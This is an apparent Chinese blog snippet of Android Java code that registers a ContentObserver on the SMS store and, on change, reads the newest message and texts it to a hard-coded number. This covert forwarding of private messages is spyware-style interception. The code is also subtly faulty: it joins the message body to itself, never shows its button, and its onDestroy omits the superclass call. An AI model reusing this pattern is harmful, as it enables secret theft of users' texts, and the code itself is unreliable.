Android 使用ContentObserver监听短信的变化,并发送信息给特定的手机号码

public class ObserverActivity extends Activity implements OnClickListener {

    protected static final String TEL_NUMBER = "110";
    private Button mBtnSend;
    private Uri mSmsUri;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        mBtnSend = new Button(this);
        //添加监听
        mBtnSend.setOnClickListener(this);
        //初始化地址
        mSmsUri = Uri.parse("content://sms/");
    }

    @Override
    public void onClick(View v) {
        if (v == mBtnSend) {
//注册observer
        getContentResolver().registerContentObserver(mSmsUri, true, observer);
        }
    }
//初始化observer 
    ContentObserver observer = new ContentObserver(new Handler()) {
        public void onChange(boolean selfChange) {
        //如果变化了
            if (selfChange) {
                Cursor cursor = getContentResolver().query(mSmsUri, new String[] { "body", "date", "address", "type" },
                        null, null, null);
                        //读取最新的消息
                cursor.moveToFirst();
                String text = cursor.getString(cursor.getColumnIndex("body")) + "_"
                        + cursor.getString(cursor.getColumnIndex("body"));
                cursor.close();
                //发送短信
                SmsManager sm = SmsManager.getDefault();
                sm.sendTextMessage(TEL_NUMBER, null, text, null, null);
            }
        };
    };

    @Override
    protected void onDestroy() {
        if (observer != null) {
            getContentResolver().unregisterContentObserver(observer);
            observer = null;
        }
    }
}

你可能感兴趣的:(android,手机,observer,短信)